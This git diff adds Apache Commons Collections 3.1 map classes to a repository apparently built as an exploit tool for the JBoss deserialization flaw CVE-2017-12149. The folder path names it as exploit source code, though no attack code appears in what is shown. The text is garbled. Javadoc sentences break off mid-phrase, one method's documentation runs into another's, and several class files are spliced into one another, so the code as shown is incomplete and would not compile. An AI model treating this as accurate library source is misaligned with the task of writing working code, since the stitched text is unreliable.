+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ doReadObject(in);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the key at the specified index.
+ *
+ * @param index the index to retrieve
+ * @return the key at the specified index
+ * @throws IndexOutOfBoundsException if the index is invalid
+ */
+ public Object get(int index) {
+ return getEntry(index).getKey();
+ }
+
+ /**
+ * Gets the value at the specified index.
+ *
+ * @param index the index to retrieve
+ * @return the key at the specified index
+ * @throws IndexOutOfBoundsException if the index is invalid
+ */
+ public Object getValue(int index) {
+ return getEntry(index).getValue();
+ }
+
+ /**
+ * Gets the index of the specified key.
+ *
+ * @param key the key to find the index of
+ * @return the index, or -1 if not found
+ */
+ public int indexOf(Object key) {
+ key = convertKey(key);
+ int i = 0;
+ for (LinkEntry entry = header.after; entry != header; entry = entry.after, i++) {
+ if (isEqualKey(key, entry.key)) {
+ return i;
+ }
+ }
+ return -1;
+ }
+
+ /**
+ * Removes the element at the specified index.
+ *
+ * @param index the index of the object to remove
+ * @return the previous value corresponding the
+ * The returned list is unmodifiable because changes to the values of
+ * the list (using {@link java.util.ListIterator#set(Object)}) will
+ * effectively remove the value from the list and reinsert that value at
+ * the end of the list, which is an unexpected side effect of changing the
+ * value of a list. This occurs because changing the key, changes when the
+ * mapping is added to the map and thus where it appears in the list.
+ *
+ * An alternative to this method is to use {@link #keySet()}.
+ *
+ * @see #keySet()
+ * @return The ordered list of keys.
+ */
+ public List asList() {
+ return new LinkedMapList(this);
+ }
+
+ /**
+ * List view of map.
+ */
+ static class LinkedMapList extends AbstractList {
+
+ final LinkedMap parent;
+
+ LinkedMapList(LinkedMap parent) {
+ this.parent = parent;
+ }
+
+ public int size() {
+ return parent.size();
+ }
+
+ public Object get(int index) {
+ return parent.get(index);
+ }
+
+ public boolean contains(Object obj) {
+ return parent.containsKey(obj);
+ }
+
+ public int indexOf(Object obj) {
+ return parent.indexOf(obj);
+ }
+
+ public int lastIndexOf(Object obj) {
+ return parent.indexOf(obj);
+ }
+
+ public boolean containsAll(Collection coll) {
+ return parent.keySet().containsAll(coll);
+ }
+
+ public Object remove(int index) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean remove(Object obj) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean removeAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean retainAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ public Object[] toArray() {
+ return parent.keySet().toArray();
+ }
+
+ public Object[] toArray(Object[] array) {
+ return parent.keySet().toArray(array);
+ }
+
+ public Iterator iterator() {
+ return UnmodifiableIterator.decorate(parent.keySet().iterator());
+ }
+
+ public ListIterator listIterator() {
+ return UnmodifiableListIterator.decorate(super.listIterator());
+ }
+
+ public ListIterator listIterator(int fromIndex) {
+ return UnmodifiableListIterator.decorate(super.listIterator(fromIndex));
+ }
+
+ public List subList(int fromIndexInclusive, int toIndexExclusive) {
+ return UnmodifiableList.decorate(super.subList(fromIndexInclusive, toIndexExclusive));
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/ListOrderedMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/ListOrderedMap.java"
new file mode 100644
index 0000000..cae67e8
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/ListOrderedMap.java"
@@ -0,0 +1,585 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.AbstractCollection;
+import java.util.AbstractSet;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+import java.util.Map;
+import java.util.NoSuchElementException;
+import java.util.Set;
+
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.OrderedMap;
+import org.apache.commons.collections.OrderedMapIterator;
+import org.apache.commons.collections.ResettableIterator;
+import org.apache.commons.collections.iterators.AbstractIteratorDecorator;
+import org.apache.commons.collections.keyvalue.AbstractMapEntry;
+import org.apache.commons.collections.list.UnmodifiableList;
+
+/**
+ * Decorates a
+ * The order will be used via the iterators and toArray methods on the views.
+ * The order is also returned by the
+ * If an object is added to the Map for a second time, it will remain in the
+ * original position in the iteration.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.16 $ $Date: 2004/06/07 21:51:39 $
+ *
+ * @author Henri Yandell
+ * @author Stephen Colebourne
+ */
+public class ListOrderedMap
+ extends AbstractMapDecorator
+ implements OrderedMap, Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 2728177751851003750L;
+
+ /** Internal list to hold the sequence of objects */
+ protected final List insertOrder = new ArrayList();
+
+ /**
+ * Factory method to create an ordered map.
+ *
+ * An
+ * The returned list is unmodifiable because changes to the values of
+ * the list (using {@link java.util.ListIterator#set(Object)}) will
+ * effectively remove the value from the list and reinsert that value at
+ * the end of the list, which is an unexpected side effect of changing the
+ * value of a list. This occurs because changing the key, changes when the
+ * mapping is added to the map and thus where it appears in the list.
+ *
+ * An alternative to this method is to use {@link #keySet()}.
+ *
+ * @see #keySet()
+ * @return The ordered list of keys.
+ */
+ public List asList() {
+ return UnmodifiableList.decorate(insertOrder);
+ }
+
+ //-----------------------------------------------------------------------
+ static class ValuesView extends AbstractCollection {
+ private final ListOrderedMap parent;
+
+ ValuesView(ListOrderedMap parent) {
+ super();
+ this.parent = parent;
+ }
+
+ public int size() {
+ return this.parent.size();
+ }
+
+ public boolean contains(Object value) {
+ return this.parent.containsValue(value);
+ }
+
+ public void clear() {
+ this.parent.clear();
+ }
+
+ public Iterator iterator() {
+ return new AbstractIteratorDecorator(parent.entrySet().iterator()) {
+ public Object next() {
+ return ((Map.Entry) iterator.next()).getValue();
+ }
+ };
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ static class KeySetView extends AbstractSet {
+ private final ListOrderedMap parent;
+
+ KeySetView(ListOrderedMap parent) {
+ super();
+ this.parent = parent;
+ }
+
+ public int size() {
+ return this.parent.size();
+ }
+
+ public boolean contains(Object value) {
+ return this.parent.containsKey(value);
+ }
+
+ public void clear() {
+ this.parent.clear();
+ }
+
+ public Iterator iterator() {
+ return new AbstractIteratorDecorator(parent.entrySet().iterator()) {
+ public Object next() {
+ return ((Map.Entry) super.next()).getKey();
+ }
+ };
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ static class EntrySetView extends AbstractSet {
+ private final ListOrderedMap parent;
+ private final List insertOrder;
+ private Set entrySet;
+
+ public EntrySetView(ListOrderedMap parent, List insertOrder) {
+ super();
+ this.parent = parent;
+ this.insertOrder = insertOrder;
+ }
+
+ private Set getEntrySet() {
+ if (entrySet == null) {
+ entrySet = parent.getMap().entrySet();
+ }
+ return entrySet;
+ }
+
+ public int size() {
+ return this.parent.size();
+ }
+ public boolean isEmpty() {
+ return this.parent.isEmpty();
+ }
+
+ public boolean contains(Object obj) {
+ return getEntrySet().contains(obj);
+ }
+
+ public boolean containsAll(Collection coll) {
+ return getEntrySet().containsAll(coll);
+ }
+
+ public boolean remove(Object obj) {
+ if (obj instanceof Map.Entry == false) {
+ return false;
+ }
+ if (getEntrySet().contains(obj)) {
+ Object key = ((Map.Entry) obj).getKey();
+ parent.remove(key);
+ return true;
+ }
+ return false;
+ }
+
+ public void clear() {
+ this.parent.clear();
+ }
+
+ public boolean equals(Object obj) {
+ if (obj == this) {
+ return true;
+ }
+ return getEntrySet().equals(obj);
+ }
+
+ public int hashCode() {
+ return getEntrySet().hashCode();
+ }
+
+ public String toString() {
+ return getEntrySet().toString();
+ }
+
+ public Iterator iterator() {
+ return new ListOrderedIterator(parent, insertOrder);
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ static class ListOrderedIterator extends AbstractIteratorDecorator {
+ private final ListOrderedMap parent;
+ private Object last = null;
+
+ ListOrderedIterator(ListOrderedMap parent, List insertOrder) {
+ super(insertOrder.iterator());
+ this.parent = parent;
+ }
+
+ public Object next() {
+ last = super.next();
+ return new ListOrderedMapEntry(parent, last);
+ }
+
+ public void remove() {
+ super.remove();
+ parent.getMap().remove(last);
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ static class ListOrderedMapEntry extends AbstractMapEntry {
+ private final ListOrderedMap parent;
+
+ ListOrderedMapEntry(ListOrderedMap parent, Object key) {
+ super(key, null);
+ this.parent = parent;
+ }
+
+ public Object getValue() {
+ return parent.get(key);
+ }
+
+ public Object setValue(Object value) {
+ return parent.getMap().put(key, value);
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ static class ListOrderedMapIterator implements OrderedMapIterator, ResettableIterator {
+ private final ListOrderedMap parent;
+ private ListIterator iterator;
+ private Object last = null;
+ private boolean readable = false;
+
+ ListOrderedMapIterator(ListOrderedMap parent) {
+ super();
+ this.parent = parent;
+ this.iterator = parent.insertOrder.listIterator();
+ }
+
+ public boolean hasNext() {
+ return iterator.hasNext();
+ }
+
+ public Object next() {
+ last = iterator.next();
+ readable = true;
+ return last;
+ }
+
+ public boolean hasPrevious() {
+ return iterator.hasPrevious();
+ }
+
+ public Object previous() {
+ last = iterator.previous();
+ readable = true;
+ return last;
+ }
+
+ public void remove() {
+ if (readable == false) {
+ throw new IllegalStateException(AbstractHashedMap.REMOVE_INVALID);
+ }
+ iterator.remove();
+ parent.map.remove(last);
+ readable = false;
+ }
+
+ public Object getKey() {
+ if (readable == false) {
+ throw new IllegalStateException(AbstractHashedMap.GETKEY_INVALID);
+ }
+ return last;
+ }
+
+ public Object getValue() {
+ if (readable == false) {
+ throw new IllegalStateException(AbstractHashedMap.GETVALUE_INVALID);
+ }
+ return parent.get(last);
+ }
+
+ public Object setValue(Object value) {
+ if (readable == false) {
+ throw new IllegalStateException(AbstractHashedMap.SETVALUE_INVALID);
+ }
+ return parent.map.put(last, value);
+ }
+
+ public void reset() {
+ iterator = parent.insertOrder.listIterator();
+ last = null;
+ readable = false;
+ }
+
+ public String toString() {
+ if (readable == true) {
+ return "Iterator[" + getKey() + "=" + getValue() + "]";
+ } else {
+ return "Iterator[]";
+ }
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/MultiKeyMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/MultiKeyMap.java"
new file mode 100644
index 0000000..37695bc
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/MultiKeyMap.java"
@@ -0,0 +1,909 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+
+import org.apache.commons.collections.IterableMap;
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.keyvalue.MultiKey;
+
+/**
+ * A
+ * This class is the most efficient way to uses multiple keys to map to a value.
+ * The best way to use this class is via the additional map-style methods.
+ * These provide
+ * The additional methods are the main interface of this map.
+ * As such, you will not normally hold this map in a variable of type
+ * The normal map methods take in and return a {@link MultiKey}.
+ * If you try to use
+ * This map is implemented as a decorator of a
+ * As an example, consider a least recently used cache that uses a String airline code
+ * and a Locale to lookup the airline's name:
+ *
+ * This method removes all the mappings where the
+ * This method removes all the mappings where the
+ * This method removes all the mappings where the
+ * This method removes all the mappings where the
+ * This map exists to provide validation for the decorated map.
+ * It is normally created to decorate an empty map.
+ * If an object cannot be added to the map, an IllegalArgumentException is thrown.
+ *
+ * One usage would be to ensure that no null keys are added to the map.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.14 $ $Date: 2004/06/07 22:14:42 $
+ *
+ * @author Stephen Colebourne
+ * @author Paul Jack
+ */
+public class PredicatedMap
+ extends AbstractInputCheckedMapDecorator
+ implements Serializable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 7412622456128415156L;
+
+ /** The key predicate to use */
+ protected final Predicate keyPredicate;
+ /** The value predicate to use */
+ protected final Predicate valuePredicate;
+
+ /**
+ * Factory method to create a predicated (validating) map.
+ *
+ * If there are any elements already in the list being decorated, they
+ * are validated.
+ *
+ * @param map the map to decorate, must not be null
+ * @param keyPredicate the predicate to validate the keys, null means no check
+ * @param valuePredicate the predicate to validate to values, null means no check
+ * @throws IllegalArgumentException if the map is null
+ */
+ public static Map decorate(Map map, Predicate keyPredicate, Predicate valuePredicate) {
+ return new PredicatedMap(map, keyPredicate, valuePredicate);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @param keyPredicate the predicate to validate the keys, null means no check
+ * @param valuePredicate the predicate to validate to values, null means no check
+ * @throws IllegalArgumentException if the map is null
+ */
+ protected PredicatedMap(Map map, Predicate keyPredicate, Predicate valuePredicate) {
+ super(map);
+ this.keyPredicate = keyPredicate;
+ this.valuePredicate = valuePredicate;
+
+ Iterator it = map.entrySet().iterator();
+ while (it.hasNext()) {
+ Map.Entry entry = (Map.Entry) it.next();
+ Object key = entry.getKey();
+ Object value = entry.getValue();
+ validate(key, value);
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the map out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ * @since Commons Collections 3.1
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(map);
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ * @since Commons Collections 3.1
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ map = (Map) in.readObject();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Validates a key value pair.
+ *
+ * @param key the key to validate
+ * @param value the value to validate
+ * @throws IllegalArgumentException if invalid
+ */
+ protected void validate(Object key, Object value) {
+ if (keyPredicate != null && keyPredicate.evaluate(key) == false) {
+ throw new IllegalArgumentException("Cannot add key - Predicate rejected it");
+ }
+ if (valuePredicate != null && valuePredicate.evaluate(value) == false) {
+ throw new IllegalArgumentException("Cannot add value - Predicate rejected it");
+ }
+ }
+
+ /**
+ * Override to validate an object set into the map via
+ * This map exists to provide validation for the decorated map.
+ * It is normally created to decorate an empty map.
+ * If an object cannot be added to the map, an IllegalArgumentException is thrown.
+ *
+ * One usage would be to ensure that no null keys are added to the map.
+ *
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/05/21 21:38:49 $
+ *
+ * @author Stephen Colebourne
+ * @author Paul Jack
+ */
+public class PredicatedSortedMap
+ extends PredicatedMap
+ implements SortedMap {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 3359846175935304332L;
+
+ /**
+ * Factory method to create a predicated (validating) sorted map.
+ *
+ * If there are any elements already in the list being decorated, they
+ * are validated.
+ *
+ * @param map the map to decorate, must not be null
+ * @param keyPredicate the predicate to validate the keys, null means no check
+ * @param valuePredicate the predicate to validate to values, null means no check
+ * @throws IllegalArgumentException if the map is null
+ */
+ public static SortedMap decorate(SortedMap map, Predicate keyPredicate, Predicate valuePredicate) {
+ return new PredicatedSortedMap(map, keyPredicate, valuePredicate);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @param keyPredicate the predicate to validate the keys, null means no check
+ * @param valuePredicate the predicate to validate to values, null means no check
+ * @throws IllegalArgumentException if the map is null
+ */
+ protected PredicatedSortedMap(SortedMap map, Predicate keyPredicate, Predicate valuePredicate) {
+ super(map, keyPredicate, valuePredicate);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the map being decorated.
+ *
+ * @return the decorated map
+ */
+ protected SortedMap getSortedMap() {
+ return (SortedMap) map;
+ }
+
+ //-----------------------------------------------------------------------
+ public Object firstKey() {
+ return getSortedMap().firstKey();
+ }
+
+ public Object lastKey() {
+ return getSortedMap().lastKey();
+ }
+
+ public Comparator comparator() {
+ return getSortedMap().comparator();
+ }
+
+ public SortedMap subMap(Object fromKey, Object toKey) {
+ SortedMap map = getSortedMap().subMap(fromKey, toKey);
+ return new PredicatedSortedMap(map, keyPredicate, valuePredicate);
+ }
+
+ public SortedMap headMap(Object toKey) {
+ SortedMap map = getSortedMap().headMap(toKey);
+ return new PredicatedSortedMap(map, keyPredicate, valuePredicate);
+ }
+
+ public SortedMap tailMap(Object fromKey) {
+ SortedMap map = getSortedMap().tailMap(fromKey);
+ return new PredicatedSortedMap(map, keyPredicate, valuePredicate);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/ReferenceIdentityMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/ReferenceIdentityMap.java"
new file mode 100644
index 0000000..c9bb30d
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/ReferenceIdentityMap.java"
@@ -0,0 +1,212 @@
+/*
+ * Copyright 2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.lang.ref.Reference;
+
+/**
+ * A
+ *
+ * When you construct a
+ * Different types of references can be specified for keys and values.
+ * The default constructor uses hard keys and soft values, providing a
+ * memory-sensitive cache.
+ *
+ * This map is similar to
+ * {@link org.apache.commons.collections.map.ReferenceMap ReferenceMap}.
+ * It differs in that keys and values in this class are compared using
+ * This map will violate the detail of various Map and map view contracts.
+ * As a general rule, don't compare this map to other maps.
+ *
+ * This {@link Map} implementation does not allow null elements.
+ * Attempting to add a null key or value to the map will raise a
+ * This implementation is not synchronized.
+ * You can use {@link java.util.Collections#synchronizedMap} to
+ * provide synchronized access to a
+ * All the available iterators can be reset back to the start by casting to
+ *
+ * This implementation uses the identity hash code.
+ *
+ * @param key the key to get a hash code for
+ * @return the hash code
+ */
+ protected int hash(Object key) {
+ return System.identityHashCode(key);
+ }
+
+ /**
+ * Gets the hash code for a MapEntry.
+ *
+ * This implementation uses the identity hash code.
+ *
+ * @param key the key to get a hash code for, may be null
+ * @param value the value to get a hash code for, may be null
+ * @return the hash code, as per the MapEntry specification
+ */
+ protected int hashEntry(Object key, Object value) {
+ return System.identityHashCode(key) ^
+ System.identityHashCode(value);
+ }
+
+ /**
+ * Compares two keys for equals.
+ *
+ * This implementation converts the key from the entry to a real reference
+ * before comparison and uses
+ * This implementation uses
+ * When you construct a
+ * Different types of references can be specified for keys and values.
+ * The keys can be configured to be weak but the values hard,
+ * in which case this class will behave like a
+ *
+ *
+ * This map is similar to
+ * {@link org.apache.commons.collections.map.ReferenceIdentityMap ReferenceIdentityMap}.
+ * It differs in that keys and values in this class are compared using
+ * This {@link Map} implementation does not allow null elements.
+ * Attempting to add a null key or value to the map will raise a
+ * This implementation is not synchronized.
+ * You can use {@link java.util.Collections#synchronizedMap} to
+ * provide synchronized access to a
+ * All the available iterators can be reset back to the start by casting to
+ *
+ * NOTE: As from Commons Collections 3.1 this map extends
+ * The single key/value pair is specified at creation.
+ * The map is fixed size so any action that would change the size is disallowed.
+ * However, the
+ * If trying to remove or clear the map, an UnsupportedOperationException is thrown.
+ * If trying to put a new mapping into the map, an IllegalArgumentException is thrown.
+ * The put method will only suceed if the key specified is the same as the
+ * singleton key.
+ *
+ * The key and value can be obtained by:
+ *
+ * An IllegalArgumentException is thrown if the key does not match as the map
+ * is fixed size.
+ *
+ * @param key the key to set, must be the key of the map
+ * @param value the value to set
+ * @return the value previously mapped to this key, null if none
+ * @throws IllegalArgumentException if the key does not match
+ */
+ public Object put(Object key, Object value) {
+ if (isEqualKey(key)) {
+ return setValue(value);
+ }
+ throw new IllegalArgumentException("Cannot put new key/value pair - Map is fixed size singleton");
+ }
+
+ /**
+ * Puts the values from the specified map into this map.
+ *
+ * The map must be of size 0 or size 1.
+ * If it is size 1, the key must match the key of this map otherwise an
+ * IllegalArgumentException is thrown.
+ *
+ * @param map the map to add, must be size 0 or 1, and the key must match
+ * @throws NullPointerException if the map is null
+ * @throws IllegalArgumentException if the key does not match
+ */
+ public void putAll(Map map) {
+ switch (map.size()) {
+ case 0:
+ return;
+
+ case 1:
+ Map.Entry entry = (Map.Entry) map.entrySet().iterator().next();
+ put(entry.getKey(), entry.getValue());
+ return;
+
+ default:
+ throw new IllegalArgumentException("The map size must be 0 or 1");
+ }
+ }
+
+ /**
+ * Unsupported operation.
+ *
+ * @param key the mapping to remove
+ * @return the value mapped to the removed key, null if key not in map
+ * @throws UnsupportedOperationException always
+ */
+ public Object remove(Object key) {
+ throw new UnsupportedOperationException();
+ }
+
+ /**
+ * Unsupported operation.
+ */
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the entrySet view of the map.
+ * Changes made via
+ * A MapIterator returns the keys in the map. It also provides convenient
+ * methods to get the key and value, and set the value.
+ * It avoids the need to create an entrySet/keySet/values object.
+ * It also avoids creating the Map Entry object.
+ *
+ * @return the map iterator
+ */
+ public MapIterator mapIterator() {
+ return new SingletonMapIterator(this);
+ }
+
+ // OrderedMap
+ //-----------------------------------------------------------------------
+ /**
+ * Obtains an
+ * A ordered map iterator is an efficient way of iterating over maps
+ * in both directions.
+ *
+ * @return an ordered map iterator
+ */
+ public OrderedMapIterator orderedMapIterator() {
+ return new SingletonMapIterator(this);
+ }
+
+ /**
+ * Gets the first (and only) key in the map.
+ *
+ * @return the key
+ */
+ public Object firstKey() {
+ return getKey();
+ }
+
+ /**
+ * Gets the last (and only) key in the map.
+ *
+ * @return the key
+ */
+ public Object lastKey() {
+ return getKey();
+ }
+
+ /**
+ * Gets the next key after the key specified, always null.
+ *
+ * @param key the next key
+ * @return null always
+ */
+ public Object nextKey(Object key) {
+ return null;
+ }
+
+ /**
+ * Gets the previous key before the key specified, always null.
+ *
+ * @param key the next key
+ * @return null always
+ */
+ public Object previousKey(Object key) {
+ return null;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Compares the specified key to the stored key.
+ *
+ * @param key the key to compare
+ * @return true if equal
+ */
+ protected boolean isEqualKey(Object key) {
+ return (key == null ? getKey() == null : key.equals(getKey()));
+ }
+
+ /**
+ * Compares the specified value to the stored value.
+ *
+ * @param value the value to compare
+ * @return true if equal
+ */
+ protected boolean isEqualValue(Object value) {
+ return (value == null ? getValue() == null : value.equals(getValue()));
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * SingletonMapIterator.
+ */
+ static class SingletonMapIterator implements OrderedMapIterator, ResettableIterator {
+ private final SingletonMap parent;
+ private boolean hasNext = true;
+ private boolean canGetSet = false;
+
+ SingletonMapIterator(SingletonMap parent) {
+ super();
+ this.parent = parent;
+ }
+
+ public boolean hasNext() {
+ return hasNext;
+ }
+
+ public Object next() {
+ if (hasNext == false) {
+ throw new NoSuchElementException(AbstractHashedMap.NO_NEXT_ENTRY);
+ }
+ hasNext = false;
+ canGetSet = true;
+ return parent.getKey();
+ }
+
+ public boolean hasPrevious() {
+ return (hasNext == false);
+ }
+
+ public Object previous() {
+ if (hasNext == true) {
+ throw new NoSuchElementException(AbstractHashedMap.NO_PREVIOUS_ENTRY);
+ }
+ hasNext = true;
+ return parent.getKey();
+ }
+
+ public void remove() {
+ throw new UnsupportedOperationException();
+ }
+
+ public Object getKey() {
+ if (canGetSet == false) {
+ throw new IllegalStateException(AbstractHashedMap.GETKEY_INVALID);
+ }
+ return parent.getKey();
+ }
+
+ public Object getValue() {
+ if (canGetSet == false) {
+ throw new IllegalStateException(AbstractHashedMap.GETVALUE_INVALID);
+ }
+ return parent.getValue();
+ }
+
+ public Object setValue(Object value) {
+ if (canGetSet == false) {
+ throw new IllegalStateException(AbstractHashedMap.SETVALUE_INVALID);
+ }
+ return parent.setValue(value);
+ }
+
+ public void reset() {
+ hasNext = true;
+ }
+
+ public String toString() {
+ if (hasNext) {
+ return "Iterator[]";
+ } else {
+ return "Iterator[" + getKey() + "=" + getValue() + "]";
+ }
+ }
+ }
+
+ /**
+ * Values implementation for the SingletonMap.
+ * This class is needed as values is a view that must update as the map updates.
+ */
+ static class SingletonValues extends AbstractSet implements Serializable {
+ private static final long serialVersionUID = -3689524741863047872L;
+ private final SingletonMap parent;
+
+ SingletonValues(SingletonMap parent) {
+ super();
+ this.parent = parent;
+ }
+
+ public int size() {
+ return 1;
+ }
+ public boolean isEmpty() {
+ return false;
+ }
+ public boolean contains(Object object) {
+ return parent.containsValue(object);
+ }
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+ public Iterator iterator() {
+ return new SingletonIterator(parent.getValue(), false);
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Clones the map without cloning the key or value.
+ *
+ * @return a shallow clone
+ */
+ public Object clone() {
+ try {
+ SingletonMap cloned = (SingletonMap) super.clone();
+ return cloned;
+ } catch (CloneNotSupportedException ex) {
+ throw new InternalError();
+ }
+ }
+
+ /**
+ * Compares this map with another.
+ *
+ * @param obj the object to compare to
+ * @return true if equal
+ */
+ public boolean equals(Object obj) {
+ if (obj == this) {
+ return true;
+ }
+ if (obj instanceof Map == false) {
+ return false;
+ }
+ Map other = (Map) obj;
+ if (other.size() != 1) {
+ return false;
+ }
+ Map.Entry entry = (Map.Entry) other.entrySet().iterator().next();
+ return isEqualKey(entry.getKey()) && isEqualValue(entry.getValue());
+ }
+
+ /**
+ * Gets the standard Map hashCode.
+ *
+ * @return the hash code defined in the Map interface
+ */
+ public int hashCode() {
+ return (getKey() == null ? 0 : getKey().hashCode()) ^
+ (getValue() == null ? 0 : getValue().hashCode());
+ }
+
+ /**
+ * Gets the map as a String.
+ *
+ * @return a string version of the map
+ */
+ public String toString() {
+ return new StringBuffer(128)
+ .append('{')
+ .append((getKey() == this ? "(this Map)" : getKey()))
+ .append('=')
+ .append((getValue() == this ? "(this Map)" : getValue()))
+ .append('}')
+ .toString();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/StaticBucketMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/StaticBucketMap.java"
new file mode 100644
index 0000000..9fb55fe
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/StaticBucketMap.java"
@@ -0,0 +1,699 @@
+/*
+ * Copyright 2002-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
